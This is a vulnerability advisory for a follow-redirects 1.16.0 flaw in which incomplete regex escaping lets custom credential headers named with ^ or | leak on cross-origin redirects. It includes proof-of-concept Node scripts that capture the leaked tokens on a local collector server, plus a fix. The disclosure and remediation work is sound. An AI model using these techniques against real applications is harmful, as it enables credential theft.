CVE-2026-111755

Updated on 19 Oct 2026

Severity

8.2 High severity

Details

CVSS score
8.2
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Overview

About vulnerability

Summary

follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

Details

The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:

this._headerFilter = new RegExp("^(?:" +
sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
")$", "i");

escapeRegex at index.js:703-705:

function escapeRegex(regex) {
return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");   // escapes ] \ / ( ) * + ? . $  -- NOT ^ | [ { }
}

The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node’s http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERR_INVALID_HTTP_TOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

  • A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped.
  • A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:

^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$

Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

  1. Escape the complete set of regular-expression metacharacters:
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }

This was verified to restore correct matching for all affected names while preserving the built-in matches.

  1. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this._headerFilter with a this._getHeaderFilter() that constructs the RegExp from the current this._options.sensitiveHeaders on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.

References:

PoC

Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Facet 1, metacharacter header names, leak.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:45902/" });   // cross-origin (different port)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers));                          // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
collector.listen(45902, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 45901, path: "/",
headers: {
"X-Api^Key":      "SECRET-LEAKED-1",     // declared sensitive, name contains ^
"X-Token|Secret": "SECRET-LEAKED-2",     // declared sensitive, name contains |
"X-Control-Key":  "SHOULD-BE-STRIPPED",  // declared sensitive, normal name (control)
"Authorization":  "Bearer BUILTIN-CTL"   // built-in list (control)
},
sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("X-Api^Key      :", h["x-api^key"] || "(stripped)");
console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
console.log("X-Control-Key  :", h["x-control-key"] || "(stripped - OK)");
console.log("Authorization  :", h["authorization"] || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});

Observed output (1.16.0):

X-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target
X-Control-Key  : (stripped - OK)          <- control: option works for normal names
Authorization  : (stripped - OK)          <- control: built-in list works

The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.

Root-cause and fix verification (pure regex logic, no network):

var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); }         // library's escaper
function escFixed(s)   { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }      // canonical escaper
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n)));  // both false
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed  ", n, fix.test(n)));  // both true
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n)));         // both true (wrong)

Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.

Reachability of the vectors:

node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'

Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERR_INVALID_HTTP_TOKEN.

Facet 2, entry declared inside beforeRedirect, leak2.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
collector.listen(46202, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 46201, path: "/",
headers: { "X-Late": "LATE-DECLARED-VALUE" },
beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
redirector.close(); collector.close();
});
}).end();
});
});

Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).

Impact

This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.

Details

Affected product:
@microsoft/dev-tunnels-management , @sats-connect/make-default-provider-config , AngularJS , Node.js , React , account-sdk , adal-node , ag-charts , allure-axios , allure-codeceptjs , angular-devkit-build-angular , angular-devkit-build-webpack , apidom , appium , appium-base-driver , appium-base-plugin , appium-execute-driver-plugin , appium-fake-driver , appium-fake-plugin , appium-relaxed-caps-plugin , appium-support , appkit , aptos-labs-wallet-adapter-core , aptos-ts-sdk , aws-crt-nodejs , aws-sdk-crc64-nvme-crt , aws-sdk-js-v3 , aws-sdk-signature-v4-crt , axe-core-cli , axios , axios-cookiejar-support , axios-ntlm , axios-rate-limit , axios-retry , base44-sdk , blockchain-link-utils , botbuilder-js , browser-sync , casper-js-sdk , cdp-sdk , celo-celocli , celo-dev-utils , celo-wallet-ledger , centra , chat-adapter-slack , chat-adapter-teams , chromedriver , cldr-data , cldr-data-downloader , clients , codeceptjs , codesmith , configure , confluent-kafka-javascript , contentful-management , contentful.js , copilotkit-agentcore-runner , copilotkit-channels-intelligence , copilotkit-channels-slack , copilotkit-runtime , copilotkit-sqlite-runner , create-react-app , create-strapi , create-strapi-app , daytona , daytona-sdk , daytona-toolbox-api-client , daytonaio-sdk , developer-tooling , docusaurus , docusaurus-core , docusaurus-plugin-content-blog , docusaurus-plugin-content-docs , docusaurus-plugin-content-pages , docusaurus-plugin-css-cascade-layers , docusaurus-plugin-debug , docusaurus-plugin-google-analytics , docusaurus-plugin-google-gtag , docusaurus-plugin-google-tag-manager , docusaurus-plugin-sitemap , docusaurus-plugin-svgr , docusaurus-preset-classic , docusaurus-search-local , docusaurus-theme-classic , docusaurus-theme-common , docusaurus-theme-mermaid , docusaurus-theme-search-algolia , ecosystem , ember-cli , envelop-newrelic , expo-webpack-config , expo-yarn-workspaces , fcl-js , firecrawl , follow-redirects , forge , gateway , gatsby , gatsby-cli , gatsby-interface , gatsby-plugin-compile-es6-packages , gatsby-plugin-emotion , gatsby-plugin-fathom , gatsby-plugin-feed , gatsby-plugin-google-gtag , gatsby-plugin-guess-js , gatsby-plugin-less , gatsby-plugin-manifest , gatsby-plugin-netlify , gatsby-plugin-no-sourcemaps , gatsby-plugin-offline , gatsby-plugin-page-creator , gatsby-plugin-postcss , gatsby-plugin-preact , gatsby-plugin-preload-fonts , gatsby-plugin-react-helmet , gatsby-plugin-sharp , gatsby-plugin-sitemap , gatsby-remark-code-repls , gatsby-remark-embed-snippet , gatsby-remark-prismjs , gatsby-remark-responsive-iframe , gatsby-source-contentful , gatsby-source-drupal , gatsby-source-filesystem , gatsby-source-graphql , gatsby-source-shopify , gatsby-source-wordpress , gcp-metadata , googlemaps-google-maps-services-js , gp-js-client , graphql-hive-gateway , graphql-mesh-plugin-newrelic , grunt-karma , gtoken , hardhat , honeycomb-opentelemetry-js , http-proxy , http-proxy-middleware , ibm-cloud-sdk-core , ibm-cloud-watsonx-ai , ionic-v1-toolkit , jest-dev-server , jest-process-manager , jest-puppeteer , jimp , jimp-core , jimp-plugin-blit , jimp-plugin-blur , jimp-plugin-circle , jimp-plugin-color , jimp-plugin-contain , jimp-plugin-cover , jimp-plugin-crop , jimp-plugin-displace , jimp-plugin-dither , jimp-plugin-fisheye , jimp-plugin-flip , jimp-plugin-mask , jimp-plugin-print , jimp-plugin-resize , jimp-plugin-rotate , jimp-plugin-threshold , jimp-types , karma , karma-browserstack-launcher , karma-jasmine , karma-junit-reporter , karma-mocha-reporter , karma-requirejs , km.js , ledger-live , ledgerhq-coin-concordium , ledgerhq-coin-framework , ledgerhq-coin-polkadot , ledgerhq-device-core , ledgerhq-domain-service , ledgerhq-evm-tools , ledgerhq-hw-app-eth , ledgerhq-hw-app-sui , ledgerhq-hw-app-vet , ledgerhq-live-countervalues , ledgerhq-live-network , ledgerjs , lerna , lg-tools-cli , lg-tools-slackbot , load-bmfont , localtunnel , loopback , loopback-connector , loopback-connector-remote , loopback-datasource-juggler , loopback-phase , magic-js , mailgun.js , manifest , medplum-bot-layer , mem0-openclaw-mem0 , mem0ai , mendable-firecrawl-js , metamask-accounts , metamask-core , microsoft-365-agents-toolkit , microsoft-teams.api , microsoft-teams.common , microsoft-teams.graph , modern-js-app-tools , modern-js-generator-utils , modern-js-server , modern.js , module-federation-dts-plugin , module-federation-enhanced , module-federation-modern-js , module-federation-rsbuild-plugin , module-federation-rspack , mysten-ledgerjs-hw-app-sui , nestjs-axios , netlify-opentelemetry-sdk-setup , newrelic-security-agent , nguniversal , nomicfoundation-hardhat-ethers , notifications-node-client , npm:@aptos-labs/aptos-client , npm:@browserstack/ai-sdk-node , npm:@celo/hw-app-eth , nx , nx-devkit , onflow-fcl-rainbowkit-adapter , open-wc-testing-karma , open-wc-testing-karma-bs , openapitools-openapi-generator-cli , opentelemetry-js , opentelemetry-sampler-jaeger-remote , parcel-reporter-zephyr , phin , pm2 , polkadot-hw-ledger , porto , privy-io , rainbowkit , reown-appkit , reown-appkit-adapter-bitcoin , reown-appkit-adapter-ethers , reown-appkit-adapter-ethers5 , reown-appkit-adapter-solana , reown-appkit-adapter-wagmi , reown-appkit-experimental , reown-appkit-pay , reown-appkit-scaffold-ui , reown-appkit-siwe , reown-appkit-siwx , reown-appkit-universal-connector , reown-appkit-utils , reown-appkit-wallet-button , retry-axios , rollup-plugin-zephyr , rsdoctor-core , rsdoctor-rspack-plugin , rsdoctor-webpack-plugin , rspack-cli , rspack-dev-server , rules_nodejs , rushstack-heft-rspack-plugin , rushstack-heft-vscode-extension-rig , rushstack-heft-web-rig , rushstack-heft-webpack4-plugin , rushstack-heft-webpack5-plugin , sats-connect , sats-connect-core , sdk-typescript , sendgrid-nodejs , sentry-gatsby , sentry-solidstart , size-plugin , skia-canvas , slack-bolt , slack-oauth , slack-socket-mode , slack-web-api , soap , solc , solidjs-start , sonarqube-scanner , stellar-stellar-sdk , storybook-angular , storybook-preset-create-react-app , strapi-admin , strapi-cloud-cli , strapi-content-manager , strapi-content-releases , strapi-content-type-builder , strapi-core , strapi-email , strapi-i18n , strapi-plugin-cloud , strapi-plugin-color-picker , strapi-plugin-documentation , strapi-plugin-graphql , strapi-plugin-sentry , strapi-plugin-users-permissions , strapi-provider-email-mailgun , strapi-provider-email-sendgrid , strapi-review-workflows , strapi-strapi , strapi-upload , strong-globalize , strong-globalize-cli , strong-remoting , swagger-api-apidom-ls , swagger-api-apidom-reference , swagger-js , swagger-ui , tas-client , tavily-core , teams.ts , testem , trezor-connect-web , trezor-suite , tronwallet-adapter , tronweb , tronweb3-tronwallet-adapter-metamask-tron , turbo-codemod , twilio , vechain-sdk-js , viem-anvil , vinxi , vinxi-server-components , vite-plugin-tanstack-start-zephyr , vite-plugin-vinext-zephyr , vite-plugin-zephyr , wagmi , wagmi-connectors , wait-on , walletconnect-ethereum-provider , wdio-browserstack-service , web3.js , webpack-dev-server , x402 , x402-paywall , zephyr-agent , zephyr-astro-integration , zephyr-metro-plugin , zephyr-modernjs-plugin , zephyr-nuxt-module , zephyr-packages , zephyr-repack-plugin , zephyr-rolldown-plugin , zephyr-rsbuild-plugin , zephyr-rspack-plugin , zephyr-rspress-plugin , zephyr-webpack-plugin , zephyr-xpack-internal , zondax-ledger-substrate
Affected packages:
follow-redirects @ 1.16.0 (+1630 more)

Fixes